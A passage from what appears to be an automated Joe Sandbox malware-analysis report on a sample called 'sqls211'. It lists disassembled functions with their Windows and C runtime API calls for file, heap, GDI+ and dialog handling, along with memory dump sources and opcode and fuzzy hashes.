Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDEAF9

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Strings

3Qo, xrefs: 00CDEAE7, 00CDEAF3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Qo
API String ID: 1269201914-1944013411
Opcode ID: ec383a67574565957502a22829121625532fa0e3c2c5ffeed75a1ca2d572f394
Instruction ID: 432328b0a4afe5b72a2772755b63c1a1aed0d0fe886c9adb9b85d1ea6d8a9eb9
Opcode Fuzzy Hash: ec383a67574565957502a22829121625532fa0e3c2c5ffeed75a1ca2d572f394
Instruction Fuzzy Hash: D1B0928639A0967C2108B2052E42C360118C090B95320802BB604C8281988008012432

Function 00CEBBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00CEB7BB: GetOEMCP.KERNEL32(00000000,?,?,00CEBA44,?), ref: 00CEB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00CEBA89,?,00000000), ref: 00CEBC64
GetCPInfo.KERNEL32(00000000,00CEBA89,?,?,?,00CEBA89,?,00000000), ref: 00CEBC77

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a8dd6842db5ef299c455765ec475f2b1097a75a82ed5df3dc35de7e8b8b0ea69
Instruction ID: 71cd51073b1634bc6441341065e3b7e72daab67f9279062a53dc5ee5a4624e46
Opcode Fuzzy Hash: a8dd6842db5ef299c455765ec475f2b1097a75a82ed5df3dc35de7e8b8b0ea69
Instruction Fuzzy Hash: A7515470A047D59EDB208F77C8816BBBBE5EF41300F28446ED4A68B262D7359F46DB90

Function 00CC9A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00CC9A50,?,?,00000000,?,?,00CC8CBC,?), ref: 00CC9BAB
GetLastError.KERNEL32(?,00000000,00CC8411,-00009570,00000000,000007F3), ref: 00CC9BB6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 12d676219fb2046c684498e276ce6d79fd9d8185fbad3d1d0190f71ce8b517ba
Instruction ID: 69131f5ca6b02269df919dd46a9109f01b50819b166a60009209184bd9a576b0
Opcode Fuzzy Hash: 12d676219fb2046c684498e276ce6d79fd9d8185fbad3d1d0190f71ce8b517ba
Instruction Fuzzy Hash: 9F41DE71604341AFDB34DF15E5A8E6AB7E5FFD4320F158A2DE8A183260D770EE058A51

Function 00CEBA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00CE97E5: GetLastError.KERNEL32(?,00D01030,00CE4674,00D01030,?,?,00CE3F73,00000050,?,00D01030,00000200), ref: 00CE97E9
Part of subcall function 00CE97E5: _free.LIBCMT ref: 00CE981C
Part of subcall function 00CE97E5: SetLastError.KERNEL32(00000000,?,00D01030,00000200), ref: 00CE985D
Part of subcall function 00CE97E5: _abort.LIBCMT ref: 00CE9863

Part of subcall function 00CEBB4E: _abort.LIBCMT ref: 00CEBB80
Part of subcall function 00CEBB4E: _free.LIBCMT ref: 00CEBBB4

Part of subcall function 00CEB7BB: GetOEMCP.KERNEL32(00000000,?,?,00CEBA44,?), ref: 00CEB7E6

_free.LIBCMT ref: 00CEBA9F
_free.LIBCMT ref: 00CEBAD5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 83f1ffe873991faecea118b4897d90a09e4ad48b9ebd9f3fe22655f25084005a
Instruction ID: 5a12a35f5d17fff7fa183d8c4747a45d32b951403726ea633d4499cc9f65f5aa
Opcode Fuzzy Hash: 83f1ffe873991faecea118b4897d90a09e4ad48b9ebd9f3fe22655f25084005a
Instruction Fuzzy Hash: B431AC31904189AFDF10DF6AE841BBEB7F5EF40324F2540A9E5149B2A1EB715E44FB50

Function 00CC1E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC1E55

Part of subcall function 00CC3BBA: __EH_prolog.LIBCMT ref: 00CC3BBF

_wcslen.LIBCMT ref: 00CC1EFD

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: b8bd1ef192f65b27c665038ecf16e0cd796517442dd43ab327889e9434d8c155
Instruction ID: 4bb41acaba3304de715f7f26ee629f88f492358e10789995a741638a42564687
Opcode Fuzzy Hash: b8bd1ef192f65b27c665038ecf16e0cd796517442dd43ab327889e9434d8c155
Instruction Fuzzy Hash: 4D314B71904249AFCF15EF9AC945EEEBBF6AF49300F1400AEF845A7252CB325E41DB60

Function 00CC9DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CC73BC,?,?,?,00000000), ref: 00CC9DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00CC9E70

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 9165b9b2bf9439e9ef5514f1f2df98d82bfb099046475bc9bdc00577840a9ad0
Instruction ID: e02f98ade095a0571b626c3091a79e40a4c4dfa9c7643e11cbed70e07640cad1
Opcode Fuzzy Hash: 9165b9b2bf9439e9ef5514f1f2df98d82bfb099046475bc9bdc00577840a9ad0
Instruction Fuzzy Hash: 1221CE31248285ABC714DF24C899FAABBE4EF55304F08491DF8E687151D339EA0DDB62

Function 00CC966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00CC9F27,?,?,00CC771A), ref: 00CC96E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00CC9F27,?,?,00CC771A), ref: 00CC9716

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9a59275a13d86289cda513c65476211c90e613133e9fc23afb99dd4a6d69c702
Instruction ID: 8df1a19b186a8d0106ef92e29b54e20eb7bf4ec7ea910ae76e8c5b71eadffa96
Opcode Fuzzy Hash: 9a59275a13d86289cda513c65476211c90e613133e9fc23afb99dd4a6d69c702
Instruction Fuzzy Hash: 4F21BDB15003446FE3708A65CC89FB7B7DCEB49324F100A1DFAA5C62D1C774A9849631

Function 00CC9E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00CC9EC7
GetLastError.KERNEL32 ref: 00CC9ED4

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b7e36cf2b1515091ae52c04cc8de69b35601738a73303ecba7d25c4c459330bd
Instruction ID: 2b3f81c6511420551fe6cfc9a0473ccbf0e1641021b997f2e09289bfabcdde78
Opcode Fuzzy Hash: b7e36cf2b1515091ae52c04cc8de69b35601738a73303ecba7d25c4c459330bd
Instruction Fuzzy Hash: 6811A571600700ABD724C669C849FA6B7E9EB55360F504A2DE563D26D0D7B0EE45C760

Function 00CE8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CE8E75

Part of subcall function 00CE8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00CECA2C,00000000,?,00CE6CBE,?,00000008,?,00CE91E0,?,?,?), ref: 00CE8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00D01098,00CC17CE,?,?,00000007,?,?,?,00CC13D6,?,00000000), ref: 00CE8EB1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 1088c954986a49e441a1fa3f745f5cdf7cbcb22a25c41d2052a7ae36b18a14a3
Instruction ID: b6f82b6f933a8d4937c7ca7e1e9cfa0b6afc874cfeeb31376959461a5052db0e
Opcode Fuzzy Hash: 1088c954986a49e441a1fa3f745f5cdf7cbcb22a25c41d2052a7ae36b18a14a3
Instruction Fuzzy Hash: 32F0F63A2012C27ADB212A279C05F6F37588F82B70F680125F82CA7191DF74CE08A1A0

Function 00CD109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00CD10AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00CD10B2

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 44b8a650405cb64cf29652ba87347db5823d58941724e72f0d17a1e8b81a0583
Instruction ID: 838c8e4d8be9534f84defd4e27eac4ad653253b08083e454225c31d6ec892772
Opcode Fuzzy Hash: 44b8a650405cb64cf29652ba87347db5823d58941724e72f0d17a1e8b81a0583
Instruction Fuzzy Hash: 03E09272B10185B78F0997A49C05ABF72DEEA442443184177EA13D3201F934EF418760

Function 00CCA4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA501

Part of subcall function 00CCBB03: _wcslen.LIBCMT ref: 00CCBB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA532

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: b9606aa19b3353566a66d835d741e24236723531a0d62e6f85d4ce513b479649
Instruction ID: 492569a820869221fd1788fa113b580d7e3274d5557f1df9cf91546c9ab7abc0
Opcode Fuzzy Hash: b9606aa19b3353566a66d835d741e24236723531a0d62e6f85d4ce513b479649
Instruction Fuzzy Hash: 84F0393624024DBBDF016F60DC45FEE3B6CAF04389F488066B949D6160DB71DE99EA61

Function 00CCA1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00CC977F,?,?,00CC95CF,?,?,?,?,?,00CF2641,000000FF), ref: 00CCA1F1

Part of subcall function 00CCBB03: _wcslen.LIBCMT ref: 00CCBB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00CC977F,?,?,00CC95CF,?,?,?,?,?,00CF2641), ref: 00CCA21F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: ca82dabb5c49bcb10570121dbfd1e379bca3d86e74735b0629c58b7746d09e27
Instruction ID: cc83a65da11962d74a05e6f85a0778ccff7846d78407c5d839993e6fce246c71
Opcode Fuzzy Hash: ca82dabb5c49bcb10570121dbfd1e379bca3d86e74735b0629c58b7746d09e27
Instruction Fuzzy Hash: D8E0923114021D7BDB015F60DC45FEE375CAF08385F484026B948D6050EB61DE84EA55

Function 00CDAC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00CF2641,000000FF), ref: 00CDACB0
CoUninitialize.COMBASE(?,?,?,?,00CF2641,000000FF), ref: 00CDACB5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 759822b3dc50db449b2b4e9cc6f18a771afbdc57e533c07eb7899544b7e86183
Instruction ID: 1658584647e0aba0b447ee0afdca330b7d0df24961190e4a3227804946fbbeb4
Opcode Fuzzy Hash: 759822b3dc50db449b2b4e9cc6f18a771afbdc57e533c07eb7899544b7e86183
Instruction Fuzzy Hash: 01E06D72604654EFCB11EB58DC06B59FBA9FB88B20F00426AF416D37A0CB74A801CAA5

Function 00CCA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00CCA23A,?,00CC755C,?,?,?,?), ref: 00CCA254

Part of subcall function 00CCBB03: _wcslen.LIBCMT ref: 00CCBB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00CCA23A,?,00CC755C,?,?,?,?), ref: 00CCA280

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: e3c77b335e96fd8d84cb9867d479ac8c5a146eff3c4ae2e44d276789372c5a97
Instruction ID: 40d495f7e1efcde5a5d71407508eb26e5e8639cd84a9e4c07fee9ead39c30e79
Opcode Fuzzy Hash: e3c77b335e96fd8d84cb9867d479ac8c5a146eff3c4ae2e44d276789372c5a97
Instruction Fuzzy Hash: 32E092325001286BCB50AB64DC09FE97B58EB083E5F044262FE58E3294DB70DE44CAA1

Function 00CDDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CDDEEC

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

SetDlgItemTextW.USER32(00000065,?), ref: 00CDDF03

Part of subcall function 00CDB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDB579
Part of subcall function 00CDB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDB58A
Part of subcall function 00CDB568: IsDialogMessageW.USER32(00010424,?), ref: 00CDB59E
Part of subcall function 00CDB568: TranslateMessage.USER32(?), ref: 00CDB5AC
Part of subcall function 00CDB568: DispatchMessageW.USER32(?), ref: 00CDB5B6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 1935fea4065bf4e41f9c2ef06663d4d5e722a14041990a61db8acacc373810bb
Instruction ID: 53121d0b300577812adef4f52182e9005048816b4c427017f1a61972ff3badf7
Opcode Fuzzy Hash: 1935fea4065bf4e41f9c2ef06663d4d5e722a14041990a61db8acacc373810bb
Instruction Fuzzy Hash: 89E0D8B241034866DF02BB60DC06FDE3B6C5B15785F040856F344DB2B3EA78EA50A771

Function 00CD081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD0836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CCF2D8,Crypt32.dll,00000000,00CCF35C,?,?,00CCF33E,?,?,?), ref: 00CD0858

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 7897a06d350d108bb6f2e8b1b00c71931eca85e37ccdb51a83b7119170371284
Instruction ID: 605f624d3a934571f306518ec5873533d3e08377ba50a9d1eb486a8d6e3741db
Opcode Fuzzy Hash: 7897a06d350d108bb6f2e8b1b00c71931eca85e37ccdb51a83b7119170371284
Instruction Fuzzy Hash: C0E012764001587ADF11A794DC09FDA7BACAF09391F040066B645D2144DA74DA84DAA0

Function 00CDA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CDA3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00CDA3E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
